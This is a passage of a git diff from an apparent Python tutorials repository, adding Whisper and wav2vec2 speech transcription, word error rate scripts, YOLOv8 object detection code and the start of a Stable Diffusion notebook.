model(input_values)["logits"] + logits = model(input_features)["logits"] # use argmax to get the predicted IDs predicted_ids = torch.argmax(logits, dim=-1) - # decode the IDs to text - transcription = processor.decode(predicted_ids[0]) + transcription = processor.batch_decode(predicted_ids)[0] return transcription.lower() # %% -get_transcription(audio_url) +get_transcription_wav2vec2("http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav", + wav2vec2_model, + wav2vec2_processor) + +# %% [markdown] +# # Whisper Models + +# %% +# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB +# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB +# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB +# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB +# whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB +# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB +# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB +whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB +# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB + +whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name) +whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device) + +# %% +input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors="pt").input_features.to(device) + +# %% +forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language="english", task="transcribe") + +# %% +forced_decoder_ids + +# %% +input_features.shape + +# %% +predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids) +predicted_ids.shape + +# %% +transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True) +transcription + +# %% +transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False) +transcription + +# %% +def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True): + # resample from whatever the audio sampling rate to 16000 + speech = load_audio(audio_path) + input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features + forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe") + # print(forced_decoder_ids) + predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids) + transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0] + return transcription + +# %% +arabic_transcription = get_transcription_whisper("https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav", + whisper_model, + whisper_processor, + language="arabic", + skip_special_tokens=True) +arabic_transcription + +# %% +spanish_transcription = get_transcription_whisper("https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3", + whisper_model, + whisper_processor, + language="spanish", + skip_special_tokens=True) +spanish_transcription + +# %% +from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE +# supported languages +TO_LANGUAGE_CODE + +# %% [markdown] +# # Transcribe your Voice # %% -import pyaudio -import wave +!git clone -q --depth 1 https://github.com/snakers4/silero-models -# the file name output you want to record into -filename = "recorded.wav" -# set the chunk size of 1024 samples -chunk = 1024 -# sample format -FORMAT = pyaudio.paInt16 -# mono, change to 2 if you want stereo -channels = 1 -# 44100 samples per second +%cd silero-models + +# %% +from IPython.display import Audio, display, clear_output +from colab_utils import record_audio +import ipywidgets as widgets +from scipy.io import wavfile +import numpy as np + + +record_seconds = 20#@param {type:"number", min:1, max:10, step:1} sample_rate = 16000 -record_seconds = 10 -# initialize PyAudio object -p = pyaudio.PyAudio() -# open stream object as input & output -stream = p.open(format=FORMAT, - channels=channels, - rate=sample_rate, - input=True, - output=True, - frames_per_buffer=chunk) -frames = [] -print("Recording...") -for i in range(int(sample_rate / chunk * record_seconds)): - data = stream.read(chunk) - # if you want to hear your voice while recording - # stream.write(data) - frames.append(data) -print("Finished recording.") -# stop and close stream -stream.stop_stream() -stream.close() -# terminate pyaudio object -p.terminate() -# save audio file -# open the file in 'write bytes' mode -wf = wave.open(filename, "wb") -# set the channels -wf.setnchannels(channels) -# set the sample format -wf.setsampwidth(p.get_sample_size(FORMAT)) -# set the sample rate -wf.setframerate(sample_rate) -# write the frames as bytes -wf.writeframes(b"".join(frames)) -# close the file -wf.close() - -# %% -get_transcription("recorded.wav") + +def _record_audio(b): + clear_output() + audio = record_audio(record_seconds) + display(Audio(audio, rate=sample_rate, autoplay=True)) + wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16)) + +button = widgets.Button(description="Record Speech") +button.on_click(_record_audio) +display(button) + +# %% +print("Whisper:", get_transcription_whisper("recorded.wav", whisper_model, whisper_processor)) +print("Wav2vec2:", get_transcription_wav2vec2("recorded.wav", wav2vec2_model, wav2vec2_processor)) + +# %% [markdown] +# # Transcribing Long Audio Samples + +# %% +def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, + chunk_length_s=10, stride_length_s=2): + """Get the transcription of a long audio file using the Whisper model""" + return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps, + chunk_length_s=chunk_length_s, stride_length_s=stride_length_s) + +# %% +# initialize the pipeline +pipe = pipeline("automatic-speech-recognition", + model=whisper_model_name, device=device) + +# %% +# get the transcription of a sample long audio file +output = get_long_transcription_whisper( + "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav", + pipe, chunk_length_s=10, stride_length_s=1) + +# %% +output["text"] + +# %% +for chunk in output["chunks"]: + # print the timestamp and the text + print(chunk["timestamp"], ":", chunk["text"]) # %% diff --git a/machine-learning/nlp/speech-recognition-transformers/README.md b/machine-learning/nlp/speech-recognition-transformers/README.md index a7653ab5..37c9ac98 100644 --- a/machine-learning/nlp/speech-recognition-transformers/README.md +++ b/machine-learning/nlp/speech-recognition-transformers/README.md @@ -2,4 +2,4 @@ To get it running: - `pip3 install -r requirements.txt` -Check the [the tutorial](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python) and the [Colab notebook](https://colab.research.google.com/drive/1-0M8zvQrOzlZ8U8l7KdPOuLBNtzqtlsz?usp=sharing) for more information. \ No newline at end of file +Check the [the tutorial](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python) and the [Colab notebook](https://colab.research.google.com/drive/1NwX-czUflXUEMoZNfoKgCQTsjcMKSUul) for more information. \ No newline at end of file diff --git a/machine-learning/nlp/speech-recognition-transformers/requirements.txt b/machine-learning/nlp/speech-recognition-transformers/requirements.txt index 4cc3d03a..ab309e08 100644 --- a/machine-learning/nlp/speech-recognition-transformers/requirements.txt +++ b/machine-learning/nlp/speech-recognition-transformers/requirements.txt @@ -1,4 +1,4 @@ -transformers==4.11.2 +transformers==4.28.1 soundfile sentencepiece torchaudio diff --git a/machine-learning/nlp/wer-score/README.md b/machine-learning/nlp/wer-score/README.md new file mode 100644 index 00000000..8e33c7f9 --- /dev/null +++ b/machine-learning/nlp/wer-score/README.md @@ -0,0 +1,6 @@ +# [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python) +- `pip install -r requirements.txt` +- `wer_basic.py` is the basic implementation of WER algorithm. +- `wer_accurate.py` is the accurate implementation of WER algorithm. +- `wer_jiwer.py` is the implementation of WER algorithm using [jiwer](https://pypi.org/project/jiwer/). +- `wer_evaluate.py` is the implementation of WER algorithm using [evaluate](https://pypi.org/project/evaluate/). \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/requirements.txt b/machine-learning/nlp/wer-score/requirements.txt new file mode 100644 index 00000000..577cfc06 --- /dev/null +++ b/machine-learning/nlp/wer-score/requirements.txt @@ -0,0 +1,3 @@ +numpy +jiwer +evaluate \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_accurate.py b/machine-learning/nlp/wer-score/wer_accurate.py new file mode 100644 index 00000000..b5dbc29a --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_accurate.py @@ -0,0 +1,44 @@ +import numpy as np + +def calculate_wer(reference, hypothesis): + # Split the reference and hypothesis sentences into words + ref_words = reference.split() + hyp_words = hypothesis.split() + # Initialize a matrix with size |ref_words|+1 x |hyp_words|+1 + # The extra row and column are for the case when one of the strings is empty + d = np.zeros((len(ref_words) + 1, len(hyp_words) + 1)) + # The number of operations for an empty hypothesis to become the reference + # is just the number of words in the reference (i.e., deleting all words) + for i in range(len(ref_words) + 1): + d[i, 0] = i + # The number of operations for an empty reference to become the hypothesis + # is just the number of words in the hypothesis (i.e., inserting all words) + for j in range(len(hyp_words) + 1): + d[0, j] = j + # Iterate over the words in the reference and hypothesis + for i in range(1, len(ref_words) + 1): + for j in range(1, len(hyp_words) + 1): + # If the current words are the same, no operation is needed + # So we just take the previous minimum number of operations + if ref_words[i - 1] == hyp_words[j - 1]: + d[i, j] = d[i - 1, j - 1] + else: + # If the words are different, we consider three operations: + # substitution, insertion, and deletion + # And we take the minimum of these three possibilities + substitution = d[i - 1, j - 1] + 1 + insertion = d[i, j - 1] + 1 + deletion = d[i - 1, j] + 1 + d[i, j] = min(substitution, insertion, deletion) + # The minimum number of operations to transform the hypothesis into the reference + # is in the bottom-right cell of the matrix + # We divide this by the number of words in the reference to get the WER + wer = d[len(ref_words), len(hyp_words)] / len(ref_words) + return wer + + + +if __name__ == "__main__": + reference = "The cat is sleeping on the mat." + hypothesis = "The cat is playing on mat." + print(calculate_wer(reference, hypothesis)) diff --git a/machine-learning/nlp/wer-score/wer_basic.py b/machine-learning/nlp/wer-score/wer_basic.py new file mode 100644 index 00000000..9cc3917b --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_basic.py @@ -0,0 +1,21 @@ +def calculate_wer(reference, hypothesis): + ref_words = reference.split() + hyp_words = hypothesis.split() + + # Counting the number of substitutions, deletions, and insertions + substitutions = sum(1 for ref, hyp in zip(ref_words, hyp_words) if ref != hyp) + deletions = len(ref_words) - len(hyp_words) + insertions = len(hyp_words) - len(ref_words) + + # Total number of words in the reference text + total_words = len(ref_words) + + # Calculating the Word Error Rate (WER) + wer = (substitutions + deletions + insertions) / total_words + return wer + + +if __name__ == "__main__": + reference = "the cat sat on the mat" + hypothesis = "the cat mat" + print(calculate_wer(reference, hypothesis)) \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_evaluate.py b/machine-learning/nlp/wer-score/wer_evaluate.py new file mode 100644 index 00000000..818bf408 --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_evaluate.py @@ -0,0 +1,9 @@ +import evaluate + +wer = evaluate.load("wer") + +# reference = "the cat sat on the mat" +# hypothesis = "the cat mat" +reference = "The cat is sleeping on the mat." +hypothesis = "The cat is playing on mat." +print(wer.compute(references=[reference], predictions=[hypothesis])) \ No newline at end of file diff --git a/machine-learning/nlp/wer-score/wer_jiwer.py b/machine-learning/nlp/wer-score/wer_jiwer.py new file mode 100644 index 00000000..28fa9572 --- /dev/null +++ b/machine-learning/nlp/wer-score/wer_jiwer.py @@ -0,0 +1,8 @@ +from jiwer import wer + +if __name__ == "__main__": + # reference = "the cat sat on the mat" + # hypothesis = "the cat mat" + reference = "The cat is sleeping on the mat." + hypothesis = "The cat is playing on mat." + print(wer(reference, hypothesis)) \ No newline at end of file diff --git a/machine-learning/object-detection/1.mp4 b/machine-learning/object-detection/1.mp4 new file mode 100644 index 00000000..44305cce Binary files /dev/null and b/machine-learning/object-detection/1.mp4 differ diff --git a/machine-learning/object-detection/README.md b/machine-learning/object-detection/README.md index ddb8f0bd..a73112ac 100644 --- a/machine-learning/object-detection/README.md +++ b/machine-learning/object-detection/README.md @@ -1,20 +1,19 @@ # [How to Perform YOLO Object Detection using OpenCV and PyTorch in Python](https://www.thepythoncode.com/article/yolo-object-detection-with-opencv-and-pytorch-in-python) To run this: - `pip3 install -r requirements.txt` -- Download the [model weights](https://pjreddie.com/media/files/yolov3.weights) and put them in `weights` folder. - To generate a object detection image on `images/dog.jpg`: ``` - python yolo_opencv.py images/dog.jpg + python yolov8_opencv.py images/dog.jpg ``` - A new image `dog_yolo3.jpg` will appear which has the bounding boxes of different objects in the image. + A new image `dog_yolo8.jpg` will appear which has the bounding boxes of different objects in the image. - For live object detection: ``` - python live_yolo_opencv.py + python live_yolov8_opencv.py ``` - If you want to read from a video file and make predictions: ``` - python read_video.py video.avi + python read_video_yolov8.py 1.mp4 ``` This will start detecting objects in that video, in the end, it'll save the resulting video to `output.avi` -- If you wish to use PyTorch for GPU acceleration, please install PyTorch CUDA [here](https://pytorch.org/get-started) and use `yolo.py` file. +- Old files for YOLOv3: `yolo_opencv.py`, `live_yolo_opencv.py`, `read_video.py` - Feel free to edit the codes for your needs! diff --git a/machine-learning/object-detection/live_yolov8_opencv.py b/machine-learning/object-detection/live_yolov8_opencv.py new file mode 100644 index 00000000..c91b13d2 --- /dev/null +++ b/machine-learning/object-detection/live_yolov8_opencv.py @@ -0,0 +1,75 @@ +import cv2 +import numpy as np + +import time +import sys + +from ultralytics import YOLO + + +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 +labels = open("data/coco.names").read().strip().split("\n") +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +model = YOLO("yolov8n.pt") + +cap = cv2.VideoCapture(0) +_, image = cap.read() +h, w = image.shape[:2] +fourcc = cv2.VideoWriter_fourcc(*"XVID") +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) +while True: + _, image = cap.read() + + start = time.perf_counter() + # run inference on the image + # see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments + results = model.predict(image, conf=CONFIDENCE)[0] + time_took = time.perf_counter() - start + print("Time took:", time_took) + + # loop over the detections + for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + # end time to compute the fps + end = time.perf_counter() + # calculate the frame per second and draw it on the frame + fps = f"FPS: {1 / (end - start):.2f}" + cv2.putText(image, fps, (50, 50), + cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6) + out.write(image) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + + +cap.release() +cv2.destroyAllWindows() \ No newline at end of file diff --git a/machine-learning/object-detection/read_video_yolov8.py b/machine-learning/object-detection/read_video_yolov8.py new file mode 100644 index 00000000..3d02fddf --- /dev/null +++ b/machine-learning/object-detection/read_video_yolov8.py @@ -0,0 +1,79 @@ +import cv2 +import numpy as np + +import time +import sys + +from ultralytics import YOLO + +# define some parameters +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 +labels = open("data/coco.names").read().strip().split("\n") +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +# loading the YOLOv8 model with the default weight file +model = YOLO("yolov8n.pt") + +# read the file from the command line +video_file = sys.argv[1] +cap = cv2.VideoCapture(video_file) +_, image = cap.read() +h, w = image.shape[:2] +fourcc = cv2.VideoWriter_fourcc(*"XVID") +out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h)) +while True: + _, image = cap.read() + + start = time.perf_counter() + results = model.predict(image, conf=CONFIDENCE)[0] + time_took = time.perf_counter() - start + print("Time took:", time_took) + + # loop over the detections + for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + try: + overlay = image.copy() + except: + break + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + + # end time to compute the fps + end = time.perf_counter() + # calculate the frame per second and draw it on the frame + fps = f"FPS: {1 / (end - start):.2f}" + cv2.putText(image, fps, (50, 50), + cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 6) + out.write(image) + cv2.imshow("image", image) + + if ord("q") == cv2.waitKey(1): + break + + +cap.release() +cv2.destroyAllWindows() \ No newline at end of file diff --git a/machine-learning/object-detection/requirements.txt b/machine-learning/object-detection/requirements.txt index ad07e21c..089e32c6 100644 --- a/machine-learning/object-detection/requirements.txt +++ b/machine-learning/object-detection/requirements.txt @@ -1,3 +1,4 @@ opencv-python numpy -matplotlib \ No newline at end of file +matplotlib +ultralytics \ No newline at end of file diff --git a/machine-learning/object-detection/yolov8_opencv.py b/machine-learning/object-detection/yolov8_opencv.py new file mode 100644 index 00000000..85b5a298 --- /dev/null +++ b/machine-learning/object-detection/yolov8_opencv.py @@ -0,0 +1,68 @@ +import numpy as np +import os +import cv2 +import time +import sys +from ultralytics import YOLO + +# define some parameters +CONFIDENCE = 0.5 +font_scale = 1 +thickness = 1 + +# loading the YOLOv8 model with the default weight file +model = YOLO("yolov8n.pt") + +# loading all the class labels (objects) +labels = open("data/coco.names").read().strip().split("\n") + +# generating colors for each object for later plotting +colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") + +path_name = sys.argv[1] +image = cv2.imread(path_name) +file_name = os.path.basename(path_name) # "dog.jpg" +filename, ext = file_name.split(".") # "dog", "jpg" + +# measure how much it took in seconds +start = time.perf_counter() +# run inference on the image +# see: https://docs.ultralytics.com/modes/predict/#arguments for full list of arguments +results = model.predict(image, conf=CONFIDENCE)[0] +time_took = time.perf_counter() - start +print(f"Time took: {time_took:.2f}s") +print(results.boxes.data) + +# loop over the detections +for data in results.boxes.data.tolist(): + # get the bounding box coordinates, confidence, and class id + xmin, ymin, xmax, ymax, confidence, class_id = data + # converting the coordinates and the class id to integers + xmin = int(xmin) + ymin = int(ymin) + xmax = int(xmax) + ymax = int(ymax) + class_id = int(class_id) + + # draw a bounding box rectangle and label on the image + color = [int(c) for c in colors[class_id]] + cv2.rectangle(image, (xmin, ymin), (xmax, ymax), color=color, thickness=thickness) + text = f"{labels[class_id]}: {confidence:.2f}" + # calculate text width & height to draw the transparent boxes as background of the text + (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] + text_offset_x = xmin + text_offset_y = ymin - 5 + box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) + overlay = image.copy() + cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) + # add opacity (transparency to the box) + image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) + # now put the text (label: confidence %) + cv2.putText(image, text, (xmin, ymin - 5), cv2.FONT_HERSHEY_SIMPLEX, + fontScale=font_scale, color=(0, 0, 0), thickness=thickness) + +# display output image +cv2.imshow("Image", image) +cv2.waitKey(0) +# save output image to disk +cv2.imwrite(filename + "_yolo8." + ext, image) diff --git a/machine-learning/speech-recognition/long_audio_recognizer.py b/machine-learning/speech-recognition/long_audio_recognizer.py index 2f8b66a0..f242f92c 100644 --- a/machine-learning/speech-recognition/long_audio_recognizer.py +++ b/machine-learning/speech-recognition/long_audio_recognizer.py @@ -7,16 +7,24 @@ # create a speech recognition object r = sr.Recognizer() -# a function that splits the audio file into chunks +# a function to recognize speech in the audio file +# so that we don't repeat ourselves in in other functions +def transcribe_audio(path): + # use the audio file as the audio source + with sr.AudioFile(path) as source: + audio_listened = r.record(source) + # try converting it to text + text = r.recognize_google(audio_listened) + return text + +# a function that splits the audio file into chunks on silence # and applies speech recognition -def get_large_audio_transcription(path): - """ - Splitting the large audio file into chunks - and apply speech recognition on each of these chunks - """ +def get_large_audio_transcription_on_silence(path): + """Splitting the large audio file into chunks + and apply speech recognition on each of these chunks""" # open the audio file using pydub - sound = AudioSegment.from_wav(path) - # split audio sound where silence is 700 miliseconds or more and get chunks + sound = AudioSegment.from_file(path) + # split audio sound where silence is 500 miliseconds or more and get chunks chunks = split_on_silence(sound, # experiment with this value for your target audio file min_silence_len = 500, @@ -37,24 +45,59 @@ def get_large_audio_transcription(path): chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") audio_chunk.export(chunk_filename, format="wav") # recognize the chunk - with sr.AudioFile(chunk_filename) as source: - audio_listened = r.record(source) - # try converting it to text - try: - text = r.recognize_google(audio_listened) - except sr.UnknownValueError as e: - print("Error:", str(e)) - else: - text = f"{text.capitalize()}. " - print(chunk_filename, ":", text) - whole_text += text + try: + text = transcribe_audio(chunk_filename) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text # return the text for all chunks detected return whole_text +# a function that splits the audio file into fixed interval chunks +# and applies speech recognition +def get_large_audio_transcription_fixed_interval(path, minutes=5): + """Splitting the large audio file into fixed interval chunks + and apply speech recognition on each of these chunks""" + # open the audio file using pydub + sound = AudioSegment.from_file(path) + # split the audio file into chunks + chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds + chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)] + folder_name = "audio-fixed-chunks" + # create a directory to store the audio chunks + if not os.path.isdir(folder_name): + os.mkdir(folder_name) + whole_text = "" + # process each chunk + for i, audio_chunk in enumerate(chunks, start=1): + # export audio chunk and save it in + # the `folder_name` directory. + chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") + audio_chunk.export(chunk_filename, format="wav") + # recognize the chunk + try: + text = transcribe_audio(chunk_filename) + except sr.UnknownValueError as e: + print("Error:", str(e)) + else: + text = f"{text.capitalize()}. " + print(chunk_filename, ":", text) + whole_text += text + # return the text for all chunks detected + return whole_text + + + if __name__ == '__main__': import sys # path = "30-4447-0004.wav" # path = "7601-291468-0006.wav" path = sys.argv[1] - print("\nFull text:", get_large_audio_transcription(path)) \ No newline at end of file + print("\nFull text:", get_large_audio_transcription_on_silence(path)) + print("="*50) + print("\nFull text:", get_large_audio_transcription_fixed_interval(path, minutes=1/6)) + \ No newline at end of file diff --git a/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..aee6b7dc --- /dev/null +++ b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb @@ -0,0 +1,6326 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ZgIU4Ga56Tiq", + "outputId": "764ce650-379a-4bed-d5fb-b5052af024c9" + }, + "outputs": [], + "source": [ + "%pip install --quiet --upgrade diffusers transformers accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "S919oAK46Z8x", + "outputId": "74fe51b4-157d-48a0-9067-6947e2a71bb8" + }, + "outputs": [], + "source": [ + "# The xformers package is mandatory to be able to create several 768x768 images.\n", + "%pip install -q xformers==0.0.16rc425" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "Dn2_-E5Sa9Rn" + }, + "source": [ + "# Using Dreamlike Photoreal" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "WGIvJ0hE6Z_B" + }, + "outputs": [], + "source": [ + "from diffusers import StableDiffusionPipeline\n", + "import torch" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433, + "referenced_widgets": [ + "d02fc695003f435e9ec25e5ab7eec2bc", + "e16097842da34cd0bc24cfaeab3de404", + "0d2fba8088804ecab806472f5396f1bc", + "8bef2ecbcbcf4ad1bb5e495a52ca2aa6", + "9a2aa30940934458ae53131db74a7406", + "45e95708fe6043c68fd25d8802778998", + "da5028411a634a2eb2e1ed3fcc53ed6c", + "bc42d1c7cdcd4064a1dbcc3eb1f3009b", + "fe3c4a4e4c8b4752a1f1d88da73fb808", + "62924d5b19784abcaa672d995fc15127", + "833477c7e6144deba2f9a7e1e3fb7c12", + "89129c49f76e497a8fb218b8126dc4d9", + "4ac86feba0924fad8c82be426d774ce4", + "379e92c07edc4ad28165c8b0926746d5", + "a144d82a835e4d48b987fecd5af96b6c", + "fc3fc7c8bb714f39a67963f2792b527d", + "3a0dacdec71447a490820baf3a405580", + "bf0a27e1f6f3454fafa2bb04a16e4ba6", + "06a9b1722db8473597c3a6cf17dafa29", + "621ceb287f8243f5a2952613c01f3f82", + "d78921386a5b493ab86718077b16a945", + "42ad2fe1e9ee44dcb9d3b7c6af9a87a1", + "dbccb67e488b40faa3719e8db6e562a2", + "d2598bdd44164f77a581fb0afad817f6", + "03fe79b7b7c5439c99fef039f96a831b", + "9ac0da7a10a54fbe897b21184cdf154f", + "32e55f352157421aa3e1fef5819b3587", + "23cd6b916dfe4e5faa4021cf02d07f53", + "d97f27872680454ba3574589b371ea97", + "d438504eef684317a6c09cc0b123d25d", + "26b8bf61f8e44014a005ed10835f68b5", + "faa6428f4b7b4cb996cc4d5ca9bcb38c", + "b4f99623a96f4d18989cf117b4c91660", + "8ae0743d19d74e3aabfe4b5ba54fd7ca", + "0072680043674280bcde9c4bc19b3704", + "13e357cba1ee4e31887f2c260f2cea15", + "41c2930f406d484ca7e1e8a4c13f9b35", + "0468827f86394f7baf78d44264a225e7", + "260d5617f5e247f3a978a28d5fe72740", + "5eba2d04c1c54016834e7dddd253a380", + "5573d97394b144d6b8f4065bf81e6d05", + "245a11e3ca454d26895c46a5c08be822", + "12808180b0b64ecd90839c791134b5fb", + "115b71885ef241fb8884e8de28dfdb8c", + "51b9487b43204e23bc11c2693f46ff72", + "2c63224632c04b159f2c9453e4ca3c15", + "5568e424494e406ea991d0c778924aa8", + "f0d04527bbe94bfdb91353827c2ad7db", + "d1bf7fca5177409290ea45d701774d6d", + "68b6a1a9d4c7422d9263e00cbd956be1", + "c79ef9b35d014fdfb9f88fc09e870d01", + "77755839ec0946c5b33488dd412f4d58", + "f7d7fb787f884822aa3e5cdbfab22b1d", + "016df28dd739433daa2c8d3b1706486c", + "43aa766628a147548714ef986c9d979a", + "7989fe19c8b749ddaa60c5c7b5cec0ea", + "773661aa8b6e4c0db5238cfe398b2b5b", + "21d9342ed95d4bf0959647ef57fceb97", + "0bb6ef1e3a2d43ca970723b0e5ac93cf", + "0b9c78977b6a45da9aa6ada3332fbc28", + "67a3104f358e48459f458fddf98b826e", + "b63595513fec4e81a0a8200294faf7ba", + "ad2f2fd194ac4bca909e5af122370e3d", + "0c34c9ecc697483e831333d67a48ff32", + "134ae8a21fc2489e9e7524eb856ef778", + "7debd7332d4a4811ad653398344420f4", + "e9e33bc9dfd843e88f9f56c0400b07e2", + "9307ea294e42484eb32d8b07fddd33dd", + "a509f68381854d7da52a21dde99a9f62", + "406fd8a742b443968d3f2fc1d3dbfef1", + "03433d859a7a4f3cae64d9d0bf374643", + "b02317ef6e514fa9b2c58c64e7702533", + "df83f20f558f43b9bf1e447316e9de4a", + "1cfa604ca2924c25930887b466ac3e9b", + "26aac0b253ba4e2e8f19acfa0bead5a7", + "7d9b49d6dbfc41988b2c3c6ac40a3cae", + "35b84a2a8e0749268b14492abcf0af1f", + "14bc95aacebc43a8877bc36c58effccf", + "30f32feefcbd486c86cb68c927dd9fca", + "0e46fe7538ed4df9b8fa1f36b4b35cdd", + "6e0be2c85237496eb97b53963654dffa", + "9c751e805d96415d9608c2422906d76e", + "1923427b93ae424bb5d91bab418506a9", + "c99c614b55ba44fbb2927642128fba9b", + "ec377a46cf8647ff891a920c46897786", + "4e264808109e4b52983260067550883e", + "163075971def4198b5cc7a0d5ec3c81d", + "9984e9b0a929433ab6e4501538a60c80", + "d26404f63c3240d28ed1af7527307317", + "7f29483722954a3697afb9cb24430e8c", + "ad3538e88909423a9a8d109bd97745a5", + "f1e7ac9f310140f0adac525362d99180", + "ce3ebc0beb214d9b9df35c37eff91505", + "209020cdb39942178adbc7cc3acf1cb0", + "e68ae70236b04e5aa6c5de879ca81e9e", + "caf7f52d17334c0ea9141fb27dbb5bd1", + 